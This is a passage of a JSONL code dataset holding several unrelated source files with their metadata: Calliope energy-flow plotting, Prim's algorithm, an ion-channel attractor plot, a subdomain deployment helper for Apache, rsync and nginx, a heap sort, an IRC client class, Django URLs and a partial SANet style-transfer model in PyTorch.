of first show timestep data\",\n method=\"restyle\",\n args=[\"visible\", [False] * len(data)],\n label=pd.to_datetime(timestep).strftime(timeseries_dateformat)\n )\n i_start = sum(steps_length[:i]) # visible start index\n i_end = i_start + steps_length[i] # visible end index\n step[\"args\"][1][i_start: i_end] = [True] * steps_length[i]\n # we set visible to True for all the points of one timestep\n steps.append(step)\n\n sliders = [dict(\n # active=\"start sliding\",True\n currentvalue=dict(\n visible=True,\n prefix=\"Timestep: \",\n ),\n pad={\"t\": 50},\n activebgcolor=\"black\",\n bgcolor=\"grey\",\n steps=steps\n )]\n\n # define the map general layout here\n layout = dict(\n title=\"Energy Flow\",\n showlegend=True,\n width=900,\n height=700,\n hovermode=\"closest\",\n sliders=sliders,\n margin={'autoexpand': False, 'b': 150, 'r': 180}\n )\n\n # change the range of the plot whether its x,y or lat,lon coords\n if sorted(locs_coordinates.coordinates.values) == [\"x\", \"y\"]:\n layout[\"xaxis\"] = dict(range=get_range(locs_coordinates, \"x\", 0.2))\n layout[\"yaxis\"] = dict(range=get_range(locs_coordinates, \"y\", 0.2))\n for trace in data:\n trace['type'] = 'scatter'\n elif sorted(locs_coordinates.coordinates.values) == [\"lat\", \"lon\"]:\n layout[\"geo\"] = dict(\n scope=\"world\",\n showland=True,\n showcountries=True,\n showsubunits=True,\n showocean=True,\n oceancolor=\"#aec6cf\",\n subunitcolor=\"blue\",\n countrycolor=\"green\",\n lonaxis=dict(range=get_range(locs_coordinates, \"lon\", 0.2)),\n lataxis=dict(range=get_range(locs_coordinates, \"lat\", 0.2)),\n countrywidth=0.5,\n subunitwidth=0.5,\n landcolor=\"rgb(255,255,255)\"\n )\n for trace in data:\n trace['type'] = 'scattergeo'\n\n return data, layout\n","sub_path":"calliope/analysis/plotting/flows.py","file_name":"flows.py","file_ext":"py","file_size_in_byte":13106,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"420085028","text":"from math import inf\n\n\ndef min_key(key, mst_set):\n '''Geriye minimum değere sahip komşunun indeksini döndürür'''\n mini, min_index = inf, inf\n for index, vertex in enumerate(mst_set):\n if not vertex and key[index] < mini:\n mini, min_index = key[index], index\n return min_index\n\n\ndef print_prim(graph):\n # Düğüm sayısı\n vertices_len = len(graph)\n\n # Oluşturulmuş ağac listesi\n parent = [None] * vertices_len\n\n # Minimum ağırlıklı komşuyu seçmek için kullanılan liste\n key = [inf] * vertices_len\n\n # Ağaca eklenmemiş düğümleri içeren liste\n mst_set = [False] * vertices_len\n\n key[0] = 0 # İlk düğüm seçiliyor\n parent[0] = - 1 # İlk düğüm her zaman root'dur\n\n for count in range(vertices_len - 1):\n # Minimum değere sahip komşu\n u = min_key(key, mst_set)\n\n # Ağaca eklenmiş olduğu işaretleniyor\n mst_set[u] = True\n\n # Güncelleme işlemi\n for v in range(vertices_len):\n if graph[u][v] and not mst_set[v] and graph[u][v] < key[v]:\n parent[v], key[v] = u, graph[u][v]\n\n print(\"Edge Weight\")\n for i in range(1, vertices_len):\n print(parent[i], \" - \", i, \" \", graph[i][parent[i]])\n\nif __name__ == '__main__':\n \"\"\"\n 2 3\n (0)--(1)--(2)\n | / \\ |\n 6| 8/ \\5 |7\n | / \\ |\n (3)-------(4)\n 9\n \"\"\"\n graph = [[0, 2, 0, 6, 0],\n [2, 0, 3, 8, 5],\n [0, 3, 0, 0, 7],\n [6, 8, 0, 0, 9],\n [0, 5, 7, 9, 0],\n ]\n print_prim(graph)\n","sub_path":"content/posts/Greedy Algorithms/prim.py","file_name":"prim.py","file_ext":"py","file_size_in_byte":1631,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"159650547","text":"#!/usr/bin/env python\n#\n# Plots the attractors for both states for different voltages\n#\n#\nimport os\nimport myokit\nimport numpy as np\nimport matplotlib\nimport matplotlib.pyplot as plt\n\nfrom profile import *\n\n# Load HH model\nm = myokit.load_model(\n os.path.join('..', '..', 'models', 'beattie-2017-ikr-hh.mmt'))\n\n# Set Kylie's sine wave parameters\nm.get('ikr.p1').set_rhs(2.26026076650526e-004)\nm.get('ikr.p2').set_rhs(6.99168845608636e-002)\nm.get('ikr.p3').set_rhs(3.44809941106440e-005)\nm.get('ikr.p4').set_rhs(5.46144197845311e-002)\nm.get('ikr.p5').set_rhs(8.73240559379590e-002)\nm.get('ikr.p6').set_rhs(8.91302005497140e-003)\nm.get('ikr.p7').set_rhs(5.15112582976275e-003)\nm.get('ikr.p8').set_rhs(3.15833911359110e-002)\nm.get('ikr.p9').set_rhs(1.52395993652348e-001)\n\n# Create plot\nplt.figure(figsize=(5, 5))\n\nn = 58\nplt.xlabel('Deactivated' + ' '*n + 'Activated')\nplt.ylabel('Inactivated' + ' '*n + 'Recovered')\n\nplt.xlim(-0.05, 1.05)\nplt.ylim(-0.05, 1.05)\n\ncolor = '#cccccc'\nplt.axvline(0, color=color)\nplt.axhline(0, color=color)\nplt.axvline(0.5, color=color)\nplt.axhline(0.5, color=color)\nplt.axvline(1, color=color)\nplt.axhline(1, color=color)\n\n# Plot attractors\nainf = m.get('ikr.act.inf').pyfunc()\nrinf = m.get('ikr.rec.inf').pyfunc()\nxof = 0.02\nyof = -0.01\n\nv = np.linspace(-250, 50, 400)\nx = ainf(v)\ny = rinf(v)\nplt.plot(x, y, 'k')\n\nvs = [-120,] + range(-100, 20, 10)\nfor v in vs:\n if v > -40:\n yof = 0.01\n plt.plot(ainf(v), rinf(v), 'x')\n plt.text(ainf(v) + xof, rinf(v) + yof, str(v) + ' mV')\n\nplt.subplots_adjust(0.12, 0.12, 0.97, 0.97)\nplt.savefig('attractor.png')\nplt.savefig('attractor.pdf')\n\nplt.show()\n","sub_path":"beattie-2017/phase-plane/attractor.py","file_name":"attractor.py","file_ext":"py","file_size_in_byte":1640,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"372298243","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\nimport sys\nimport os\nimport datetime\n\nmsg = '''【关于整个部署操作流程需要注意的几个问题】\n1. 分别在web1, web2添加相应的虚拟主机配置文件\n2. 查看站点目录,日志配置文件目录及其权限\n3. 备份,更新rsync配置文件,注意先备份,再更新\n 3.1. web1是rsync服务端,需要更新配置文件\n 3.2. web2是client端,要更新脚本文件\n4. 最后一步再在cdn加速乐上解析域名,注意:【最后一步,再执行此操作,防止在客户预先知道域名,访问到40x页面】\n'''\n\ndomain_name = ''\nwhile len(domain_name.split('.')) != 3:\n if not domain_name:\n domain_name = input('请输入要添加的子域名,如\"test.ichunqiu.com\": ')\n else:\n print('子域名有误,请重新输入')\n domain_name = ''\n continue\n\nwww_path = '/data/RACE/'\nweb_dir = www_path + domain_name\nlog_path = '/data/log/httpd/RACE/'\nlog_dir = log_path + domain_name\nvhost_http_conf_dir = '/etc/httpd/conf.d/'\nhttpd_vhost_file = vhost_http_conf_dir + domain_name + '.conf'\nweb1_rsync_conf_bakdir = '/etc/rsyncd.conf_bak/'\nweb1_rsync_conf = '/etc/rsyncd.conf'\nweb2_rsync_script_bakdir = '/root/rsync_script_bak/'\nweb2_rsync_script_file = '/tmp/rsyncd.sh'\nwebn_conf_bakdir = '/etc/nginx/nginx.conf_bak/'\nwebn_subconf_dir = '/etc/nginx/conf.d'\nwebn_main_conf = os.path.join(webn_subconf_dir, 'ichunqiu.com.conf')\n\nnginx_conf = '''server {\n listen 80;\n server_name %s;\n return 301 https://$server_name$request_uri;\n}\n''' % domain_name\nnginx_conf_withssl = '''server {\n listen 443;\n server_name %s;\n ssl on;\n ssl_certificate /etc/warning/key/ssl/server.pem;\n ssl_certificate_key /etc/warning/key/ssl/server.key;\n ssl_session_timeout 5m;\n ssl_protocols TLSv1 TLSv1.1 TLSv1.2;\n ssl_ciphers HIGH:!RC4:!MD5:!aNULL:!eNULL:!NULL:!DH:!EDH:!EXP:+MEDIUM;\n ssl_prefer_server_ciphers on;\n \n proxy_buffer_size 128k;\n proxy_buffers 4 256k;\n proxy_busy_buffers_size 256k;\n #charset koi8-r;\n access_log /var/log/nginx/match/access.%s.log mainnew1;\n error_log /var/log/nginx/match/error.%s.log warn;\n location /zzg/sendMsg { deny all;}\n location /newRelease/issue { deny all; }\n location /newRelease/querylashExp { deny all; }\n location / {\n #root /usr/share/nginx/html;\n #index index.html index.htm;\n\tproxy_pass http://httpd1;\n\tproxy_redirect off;\n\tproxy_set_header Host $host;\n\tproxy_set_header X-Real-IP $remote_addr;\n\tproxy_set_header X-Forwarded-For $remote_addr;\n }\n \n error_page 500 502 503 504 /50x.html;\n location = /50x.html {\n root /usr/share/nginx/html;\n }\n}''' % (domain_name, domain_name, domain_name)\n\nhttpd_virtualhost_conf = '''\n\n ServerAdmin webmaster@ichunqiu.com\n DocumentRoot {web_root}\n ServerName {domain_name}\n ErrorLog \"|/usr/sbin/rotatelogs -l /data/log/httpd/RACE/{domain_name}/{domain_name}-error_%Y%m%d.log 432000\"\n CustomLog \"|/usr/sbin/rotatelogs -l /data/log/httpd/RACE/{domain_name}/{domain_name}-%Y%m%d.log 86400\" common\n\n \n Options FollowSymLinks\n AllowOverride All\n Order allow,deny\n Allow from all\n \n\\n\n'''.format(domain_name=domain_name, http_conf_file=httpd_vhost_file, web_root=web_dir).strip()\n\n\ndef back_file(src_file, back_dir):\n '''\n :param src_file: you wanna back src file\n :param back_dir: back dirname\n :return: Boolean\n '''\n f = os.path.basename(src_file)\n now = datetime.datetime.now()\n time_fmt = now.strftime('%Y%m%d%H%M%S')\n dst_file = f + '_bak_' + time_fmt\n file_bak = os.path.join(back_dir, dst_file)\n\n return file_bak\n\n\ndef split_line():\n print('=' * 130)\n\n\ndef update_rsync_conf(file_name, domain_name, webroot=None):\n '''\n gen new block for sync between web1 and web2.\n :param file_name: rsync conf file name.\n :return: string, is a update contents.\n '''\n block = '''[{domain_name}]\npath = {www_dir}\nignore errors\nread only = no\nauth users = root\nsecrets file = /etc/sery.pass'''.format(domain_name=domain_name, www_dir=web_dir)\n print(block)\n\n\ndef fmt_print(s):\n print('\\n\\033[36;1m** \\033[0m\\033[34;3m%s\\033[0m' % s)\n\nif __name__ == '__main__':\n print('\\033[32;2m%s\\033[0m' % msg)\n fmt_print('http虚拟主机【www目录】')\n print('[ -d %s ] || (mkdir -p %s && chown root:root %s)' % (web_dir, web_dir, web_dir))\n fmt_print('http虚拟主机【日志目录】')\n print('[ -d %s ] || (mkdir -p %s && chown apache:apache %s)' % (log_dir, log_dir, log_dir))\n\n fmt_print('http虚拟主机配置文件【%s】' % httpd_vhost_file)\n print('cat >> %s << eof\\n' % httpd_vhost_file)\n print(httpd_virtualhost_conf)\n print('eof')\n\n fmt_print('【WEB1上操作】备份【%s】配置文件' % web1_rsync_conf)\n rsync_bak_file = back_file(web1_rsync_conf, web1_rsync_conf_bakdir)\n print('cp -a %s %s' % (web1_rsync_conf, rsync_bak_file))\n\n fmt_print('【WEB1上操作】修改 【%s】 配置文件, 追加下面内容' % web1_rsync_conf)\n print('cat >> %s << eof\\n' % web1_rsync_conf)\n update_rsync_conf(file_name=web1_rsync_conf, domain_name=domain_name, webroot=web_dir)\n print('eof')\n\n fmt_print('【WEB2上操作】备份 【%s】 同步脚本' % web2_rsync_script_file)\n rsync_bak_script_file = back_file(web2_rsync_script_file, web2_rsync_script_bakdir)\n print('cp -a %s %s' % (web2_rsync_script_file, rsync_bak_script_file))\n\n fmt_print('【WEB2上操作】修改 【%s】 同步脚本' % web2_rsync_script_file)\n print('cat << eof >> %s' % web2_rsync_script_file)\n print('rsync -ar root@10.10.25.122::%s %s --password-file=/etc/sery_client.pass --delete\\neof'\n % (domain_name, web_dir))\n\n fmt_print('【检查httpd配置文件并重新加载服务】,先检查http,如果没有问题再重新加载,\\033[31;2m不要轻易restart\\033[0m')\n print('/usr/sbin/httpd -t\\t\\t;没有显示\"Syntax OK\"再执行下面的语句')\n print('/usr/sbin/httpd -k graceful\\t;两台机器都要执行此操作,不然数据无法同步')\n\n fmt_print('【最后一步,打通域名解析,即在nginx代理机器上添加相关的配置】')\n print('\\t1、如果不需要https,则可以直接添加是【%s】中的【server_name】字段中' % webn_main_conf)\n print('\\t2、如果需要https服务,则可以直接在【%s】目录下新建配置文件,如【%s.conf】' % (webn_subconf_dir, domain_name))\n needs_https = input('\\033[31;2m此次部署的子域名是否需要https服务, [y|n]\\033[0m')\n if needs_https.upper() == 'Y' or needs_https.upper() == 'YES':\n fmt_print('ngxin单独配置文件')\n print('cat >> %s.conf << eof' % (os.path.join(webn_subconf_dir, domain_name)))\n print(nginx_conf, end='')\n print('eof')\n fmt_print('nginx带有ssl的配置文件')\n print('cat >> ssl.%s.conf << eof' % (os.path.join(webn_subconf_dir, domain_name)))\n print(nginx_conf_withssl)\n print('eof')\n else:\n # print(webn_main_conf, '--end')\n # print(webn_conf_bakdir)\n webn_main_conf_bak = back_file(webn_main_conf, webn_conf_bakdir)\n # print(webn_main_conf_bak)\n print('您选择不使用htpps,直接修改【%s】的server name字段即可' % webn_main_conf)\n fmt_print('备份【%s】文件' % webn_main_conf)\n print('cp -a %s %s' % (webn_main_conf, os.path.join(webn_conf_bakdir,\n os.path.basename(webn_subconf_dir),\n os.path.basename(webn_main_conf_bak))))\n fmt_print('【检测nginx配置文件并重新加载服务】')\n print('/usr/sbin/nginx -t\\t\\t;有语法错误一定要及时纠正,不要急于重新加载服务')\n print('/usr/sbin/nginx -s reload\\t;没有没有语法错误再执行此条命令')\n","sub_path":"py_utils/pyscripts/add_sub-domain-name.py","file_name":"add_sub-domain-name.py","file_ext":"py","file_size_in_byte":8063,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"300081193","text":"import os\nfrom setuptools import setup, find_packages\n\n\n\ndef read(fname):\n with open(os.path.join(os.path.dirname(__file__), fname)) as f:\n out = f.read()\n return out\n\n\ndef update_version():\n ver = read('northstar/_version.py').rstrip('\\n').split()[-1].strip('\"')\n return ver\n\n\nsetup(\n name=\"northstar\",\n version=update_version(),\n author=\"Fabio Zanini\",\n author_email=\"fabio.zanini@fastmail.fm\",\n description=\"Cell type annotation guided by cell atlases, with freedom to be queer.\",\n license=\"MIT\",\n keywords=\"graph semi-supervised\",\n url=\"https://github.com/northstaratlas/northstar\",\n packages=['northstar'] + ['northstar.' + s for s in find_packages(where='northstar')],\n long_description='''\n Cell type annotation guided by cell atlases, with freedom to be queer.\n\n See https://github.com/northstaratlas/northstar for the project's website.\n ''',\n classifiers=[\n \"Development Status :: 4 - Beta\",\n \"Topic :: Utilities\",\n \"License :: OSI Approved :: MIT License\",\n ],\n)\n","sub_path":"pypi_install_script/northstar-0.2.0.tar/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1059,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"506211341","text":"# time: O(nlog(n)) space: O(1)\nclass Solution:\n def heapSort(self, array):\n self.buildMaxHeap(array)\n for endIdx in reversed(range(1, len(array))):\n array[0], array[endIdx] = array[endIdx], array[0]\n self.siftDown(0, endIdx - 1, array)\n return array\n\n def buildMaxHeap(self, array):\n lastParentIdx = (len(array) - 2) // 2\n for currentIdx in reversed(range(lastParentIdx + 1)):\n self.siftDown(currentIdx, len(array) - 1, array)\n return array\n\n def siftDown(self, currentIdx, endIdx, array):\n childOneIdx = currentIdx * 2 + 1\n while childOneIdx <= endIdx:\n childTwoIdx = currentIdx * 2 + 2 if currentIdx * 2 + 2 <= endIdx else -1\n if childTwoIdx != -1 and array[childTwoIdx] > array[childOneIdx]:\n idxToSwap = childTwoIdx\n else:\n idxToSwap = childOneIdx\n if array[idxToSwap] > array[currentIdx]:\n array[idxToSwap], array[currentIdx] = array[currentIdx], array[idxToSwap]\n currentIdx = idxToSwap\n childOneIdx = currentIdx * 2 + 1\n else:\n return\n\t","sub_path":"2.19/heap_sort.py","file_name":"heap_sort.py","file_ext":"py","file_size_in_byte":1052,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"367294491","text":"import socket\nimport time\n\nclass Server(object):\n\n def __init__(self, connection_parameters_dict):\n self.params = connection_parameters_dict\n self.check_params(self.params)\n self.ping = 'PING'\n\n self.params['port'] = int(self.params['port'])\n\n self.__dict__.update(self.params)\n\n self.socket = self._connect(self.network, self.port)\n self._authenticate(self.nick, self.host_name, \n self.identity, self.real_name) \n self._connect_to_channel(self.chan)\n\n def check_params(self, params):\n necessary_parameters = ['network', 'port', 'chan', 'host_name', \n 'nick', 'identity', 'real_name', 'type']\n\n for param in necessary_parameters:\n if param not in params:\n print('Config file is missing ' + param)\n print('Program will not run. Adjust your configs.')\n exit()\n\n def _connect(self, network, port):\n sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n sock.connect((network, port))\n return sock\n \n def _authenticate(self, nick, host_name, identity, real_name):\n message = 'USER %s %s %s :%s\\r\\n' % (nick,\n host_name,\n identity,\n real_name)\n self._send(message)\n \n message = 'NICK ' + nick + '\\r\\n'\n self._send(message)\n\n time.sleep(2)\n self._recv()\n \n def _connect_to_channel(self, channel_name):\n message = 'JOIN ' + channel_name + '\\r\\n'\n self._send(message)\n\n def private_message(self, person_name, message):\n message = 'PRIVMSG ' + person_name + ' :' + message + '\\r\\n'\n self._send(message)\n\n def say(self, message):\n self.private_message(self.chan, message)\n\n def pong(self, data):\n self._send('PONG ' + data.split()[1] + '\\r\\n')\n\n def _send(self, message):\n print('Sending message:')\n print(message)\n self.socket.send(message.encode())\n\n def _recv(self, buffer_size=4096):\n print('Received Message:')\n message = self.socket.recv(buffer_size).decode()\n for line in message.split('\\n'): print(line)\n return message\n\n","sub_path":"modules/irc.py","file_name":"irc.py","file_ext":"py","file_size_in_byte":2331,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"48641368","text":"from django.conf.urls import patterns, include, url\r\nfrom django.contrib import admin\r\nadmin.autodiscover()\r\n\r\nfrom p_user.api import GirlResource\r\ngirl_resource = GirlResource()\r\n\r\nurlpatterns = patterns('',\r\n (r'^$', 'views.main_page'),\r\n (r'^test/', 'views.test'),\r\n (r'^thanks/', 'views.thanks'),\r\n (r'^contact/', 'views.contact'),\r\n (r'^login/', 'views.login'),\r\n url(r'^admin/', include(admin.site.urls)),\r\n (r'^user/', include('p_user.urls')),\r\n (r'^api/', include(girl_resource.urls)),\r\n )\r\n\r\nhandler404 = 'views.test'\r\n\r\n\r\n\"\"\"\r\nurlpatterns = patterns('',\r\n # Examples:\r\n # url(r'^$', 'pms.views.home', name='home'),\r\n # url(r'^pms/', include('pms.foo.urls')),\r\n\r\n # Uncomment the admin/doc line below to enable admin documentation:\r\n # url(r'^admin/doc/', include('django.contrib.admindocs.urls')),\r\n\r\n # Uncomment the next line to enable the admin:\r\n # url(r'^admin/', include(admin.site.urls)),\r\n)\r\n\"\"\"","sub_path":"pms/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1215,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"103227042","text":"# https://leetcode.com/problems/top-k-frequent-elements/description/\n\nclass Solution:\n def topKFrequent(self, nums, k):\n \"\"\"\n :type nums: List[int]\n :type k: int\n :rtype: List[int]\n \"\"\"\n d = dict()\n for i in nums:\n if d.get(i) is None:\n d[i] = 1\n else:\n d[i] += 1\n\n return sorted(d, key=lambda i: d[i], reverse=True)[0:k]\n\n\n","sub_path":"leetcode/347/347.py","file_name":"347.py","file_ext":"py","file_size_in_byte":435,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"23636414","text":"import torch\nimport torch.nn as nn\nfrom torchvision import transforms\nimport cv2\nimport sys\nimport numpy as np\nMAX_IMAGE_SIZE = 256\nIMAGE_PATH = 'drive/My Drive/Mydata/image'\nVGG_NORMALISED_PATH = 'drive/My Drive/Mydata'\nMODEL_SAVE_PATH = 'drive/My Drive'\nDECODER_PATH = 'drive/My Drive/decoder.pkl'\nMODEL_PATH = 'drive/My Drive'\n# loss weights \nlambda_c = 1\nlambda_c_weights = [1,1] \nlambda_c_weights = [i/sum(lambda_c_weights) for i in lambda_c_weights]\nlambda_s = 10\nlambda_s_weights = [1,1,1,1,10] \nlambda_s_weights = [i/sum(lambda_s_weights) for i in lambda_s_weights] # 需要归一化,不然相当于增加了styleLoss weight,\nlambda_i1,lambda_i2 = 50,1\nbatch_size = 5\n# 显示图片\ndef im_show(img):\n \"\"\"\n :param img: numpy.array\n :return: None\n \"\"\"\n plt.figure(figsize=(6, 6))\n plt.imshow(img)\n plt.show()\n\n# 计算 feature map 的feat之间的相关性,channel-wise vector[每个位置上特征A的强度]\ndef cal_cov(m, y=None):\n \"\"\"\n :param m: tensor [C,H*W]\n :param y:\n :return: tensor [C,C]\n \"\"\"\n if y is not None:\n m = torch.cat((m, y), dim=0)\n m_mean = torch.mean(m, dim=1)\n x = m - m_mean[:, None]\n m_cov = torch.mm(x, x.t()).div(m.size(1) - 1)\n return m_cov\n\n# 显示迁移效果的函数\ndef show_tensor_single(tensor_model_out,using_unorm=True): \n img = denorm(tensor_model_out) \n im_show(img)\n\n# mean=[0.485, 0.456, 0.406],\n# std=[0.229, 0.224, 0.225]\n# 另外一种denorm\ndef denorm(tensor):\n tensor = tensor.detach().squeeze(0).cpu()\n std = torch.Tensor([0.229, 0.224, 0.225]).reshape(-1, 1, 1)\n mean = torch.Tensor([0.485, 0.456, 0.406]).reshape(-1, 1, 1)\n res = torch.clamp(tensor * std + mean, 0, 1).permute(1, 2, 0)\n return res\n\ndef plot_loss(loss_rcd_list,label_list):\n type_n = len(loss_rcd_list)\n epoch_n = len(loss_rcd_list[0])\n for i in range(type_n):\n plt.plot(np.arange(epoch_n),loss_rcd_list[i],label=label_list[i])\n plt.title('loss record')\n plt.legend(loc='best')\n plt.xlabel('epoch')\n plt.ylabel('loss_value /per')\n plt.show()\ndef calc_mean_std(feat, eps=1e-5):\n # eps is a small value added to the variance to avoid divide-by-zero.\n size = feat.size()\n assert (len(size) == 4)\n N, C = size[:2]\n feat_var = feat.view(N, C, -1).var(dim=2) + eps\n feat_std = feat_var.sqrt().view(N, C, 1, 1)\n feat_mean = feat.view(N, C, -1).mean(dim=2).view(N, C, 1, 1)\n return feat_mean, feat_std\n# SANet 的做法,其实和 whiten的目的一样,都是为了去掉 纹理信息(每个channel的 mean、std)\ndef normalization(feat):\n size = feat.size()\n mean, std = calc_mean_std(feat)\n normalized_feat = (feat - mean.expand(size)) / std.expand(size)\n return normalized_feat\ndef calc_mean(feat):\n size = feat.size()\n assert (len(size) == 3)\n C = size[0]\n feat_mean = feat.view(C, -1).mean(dim=1).view(C, 1, 1)\n return feat_mean\ndef calc_std(feat):\n size = feat.size()\n assert (len(size) == 3)\n C = size[0]\n feat_std = feat.view(C, -1).std(dim=1).view(C, 1, 1) \n return feat_std\n\nimport torch\nimport torch.nn as nn\nimport cv2\nimport numpy as np\nfrom torchvision import models,transforms\nimport torch.optim as optim\nimport torch.nn.functional as F\n# 整个网络\nclass SANet(nn.Module):\n def __init__(self,encoder,decoder=None):\n super(SANet,self).__init__()\n self.module_encoder = encoder \n self.module_fusion = Fusion(512) \n self.module_decoder = decoder or Decoder2(512,3)\n self.name_layer_map = { \n '3' : 'relu1_1',\n '10': 'relu2_1',\n '17': 'relu3_1',\n '30': 'relu4_1',\n '43': 'relu5_1',\n }\n self.layers = ['relu1_1','relu2_1','relu3_1','relu4_1','relu5_1']\n def forward(self,c,s):\n # step-1 encoder using vgg19.feature[:21] \n feat_c = self.feature_extraction(c)\n feat_s = self.feature_extraction(s) \n # attention 进行融合\n feat_cs = self.module_fusion(feat_c['relu4_1'],feat_s['relu4_1'],feat_c['relu5_1'],feat_s['relu5_1'])\n feat_cc = self.module_fusion(feat_c['relu4_1'],feat_c['relu4_1'],feat_c['relu5_1'],feat_c['relu5_1'])\n feat_ss = self.module_fusion(feat_s['relu4_1'],feat_s['relu4_1'],feat_s['relu5_1'],feat_s['relu5_1'])\n # deocoder 图像重建\n Ics = self.module_decoder(feat_cs)\n Icc = self.module_decoder(feat_cc)\n Iss = self.module_decoder(feat_ss) \n # 再次特征提取\n feat_cs2 = self.feature_extraction(Ics) \n feat_cc2 = self.feature_extraction(Icc)\n feat_ss2 = self.feature_extraction(Iss)\n # 计算损失\n loss_c_4_1 = self.calc_content_loss(feat_c['relu4_1'],feat_cs2['relu4_1'],norm = False)\n loss_c_5_1 = self.calc_content_loss(feat_c['relu5_1'],feat_cs2['relu5_1'],norm = False)\n loss_c = lambda_c_weights[0]*loss_c_4_1+lambda_c_weights[1]*loss_c_5_1\n loss_s,loss_s_per_layer = self.calc_style_loss(feat_s,feat_cs2)\n loss_i1,loss_i2 = self.calc_identity_loss(Icc,c,Iss,s, feat_cc2,feat_c,feat_ss2,feat_s)\n # 为了方便调参,需要返回,content loss ,style 4层的loss ,两种identity的损失\n return loss_c,loss_c_4_1,loss_c_5_1,loss_s,loss_s_per_layer,loss_i1,loss_i2 \n # 计算损失相关函数\n def calc_mean_std(self,feat, eps=1e-5):\n # eps is a small value added to the variance to avoid divide-by-zero.\n size = feat.size()\n assert (len(size) == 4)\n N, C = size[:2]\n feat_var = feat.view(N, C, -1).var(dim=2) + eps\n feat_std = feat_var.sqrt().view(N, C, 1, 1)\n feat_mean = feat.view(N, C, -1).mean(dim=2).view(N, C, 1, 1)\n return feat_mean, feat_std\n def calc_content_loss(self, input, target, norm = False):\n if(norm == False):\n return F.mse_loss(input, target)\n else:\n return F.mse_loss(normalization(input), normalization(target))\n def calc_style_loss(self,out_feat, style_middle_features): \n loss_s = 0.\n loss_s_per_layer = []\n for l,w in zip(self.layers,lambda_s_weights):\n c_mean, c_std = self.calc_mean_std(out_feat[l])\n s_mean, s_std = self.calc_mean_std(style_middle_features[l])\n loss_layer = F.mse_loss(c_mean, s_mean) + F.mse_loss(c_std, s_std)\n loss_s_per_layer.append(loss_layer.item())\n loss_s += w*loss_layer\n return loss_s, loss_s_per_layer\n def calc_identity_loss(self,Icc,Ic,Iss,Is,feat_cc,feat_c,feat_ss,feat_s): \n layers = ['relu1_1','relu2_1','relu3_1','relu4_1','relu5_1']\n loss_i1 = F.mse_loss(Icc,Ic) + F.mse_loss(Iss,Is)\n loss_i2 = 0.\n for l in layers:\n loss_i2 += (F.mse_loss(feat_cc[l],feat_c[l]) + F.mse_loss(feat_ss[l],feat_s[l]))\n return loss_i1, loss_i2\n # 用预训练vgg 提取conv1_1~conv4_1,供 计算loss使用\n def feature_extraction(self,x): \n features = {}\n for name, layer in self.module_encoder._modules.items():\n x = layer(x)\n if name in self.name_layer_map:\n if (name == '3'): # conv1_1 64x256x256\n features[self.name_layer_map[name]] = x\n elif (name == '10'): # conv2_1 128x128x128\n features[self.name_layer_map[name]] = x\n elif (name == '17'): # conv3_1 256x64x64\n features[self.name_layer_map[name]] = x\n elif (name == '30'): # conv4_1 512x32x32\n features[self.name_layer_map[name]] = x\n elif (name == '43'): # conv5_1 512x32x32\n features[self.name_layer_map[name]] = x\n break # 只是用到了vgg encoder的前19层,Terminate forward pass\n return features\n # test阶段用于合成图片\n def transfer(self,tensor_c,tensor_s): # 两张图片一起传进来,一张 c,一张 s ,tensor的大小是:[1,C,H,W]\n x_c,x_s = tensor_c,tensor_s \n for name, layer in self.module_encoder._modules.items():\n x_c = layer(x_c)\n x_s = layer(x_s)\n if name == '30':\n x_c_4_1 = x_c\n x_s_4_1 = x_s\n elif name == '43':\n x_c_5_1 = x_c\n x_s_5_1 = x_s\n break \n x_fcs = self.module_fusion(x_c_4_1, x_s_4_1,x_c_5_1,x_s_5_1) # 注意1,2,是c s ,这里style在前面 \n # step-3 Decoder \n I_cs = self.module_decoder(x_fcs)\n return I_cs\n\n# 获取vgg19 作为预训练模型\ndef get_encoder():\n vgg_normalized = nn.Sequential(\n nn.Conv2d(3, 3, (1, 1)),\n nn.ReflectionPad2d((1, 1, 1, 1)),\n nn.Conv2d(3, 64, (3, 3)),\n nn.ReLU(), # relu1-1\n nn.ReflectionPad2d((1, 1, 1, 1)),\n nn.Conv2d(64, 64, (3, 3)),\n nn.ReLU(), # relu1-2\n nn.MaxPool2d((2, 2), (2, 2), (0, 0), ceil_mode=True),\n nn.ReflectionPad2d((1, 1, 1, 1)),\n nn.Conv2d(64, 128, (3, 3)),\n nn.ReLU(), # relu2-1\n nn.ReflectionPad2d((1, 1, 1, 1)),\n nn.Conv2d(128, 128, (3, 3)),\n nn.ReLU(), # relu2-2\n nn.MaxPool2d((2, 2), (2, 2), (0, 0), ceil_mode=True),\n nn.ReflectionPad2d((1, 1, 1, 1)),\n nn.Conv2d(128, 256, (3, 3)),\n nn.ReLU(), # relu3-1\n nn.ReflectionPad2d((1, 1, 1, 1)),\n nn.Conv2d(256, 256, (3, 3)),\n nn.ReLU(), # relu3-2\n nn.ReflectionPad2d((1, 1, 1, 1)),\n nn.Conv2d(256, 256, (3, 3)),\n nn.ReLU(), # relu3-3\n nn.ReflectionPad2d((1, 1, 1, 1)),\n nn.Conv2d(256, 256, (3, 3)),\n nn.ReLU(), # relu3-4\n nn.MaxPool2d((2, 2), (2, 2), (0, 0), ceil_mode=True),\n nn.ReflectionPad2d((1, 1, 1, 1)),\n nn.Conv2d(256, 512, (3, 3)),\n nn.ReLU(), # relu4-1, this is the last layer used\n nn.ReflectionPad2d((1, 1, 1, 1)),\n nn.Conv2d(512, 512, (3, 3)),\n nn.ReLU(), # relu4-2\n nn.ReflectionPad2d((1, 1, 1, 1)),\n nn.Conv2d(512, 512, 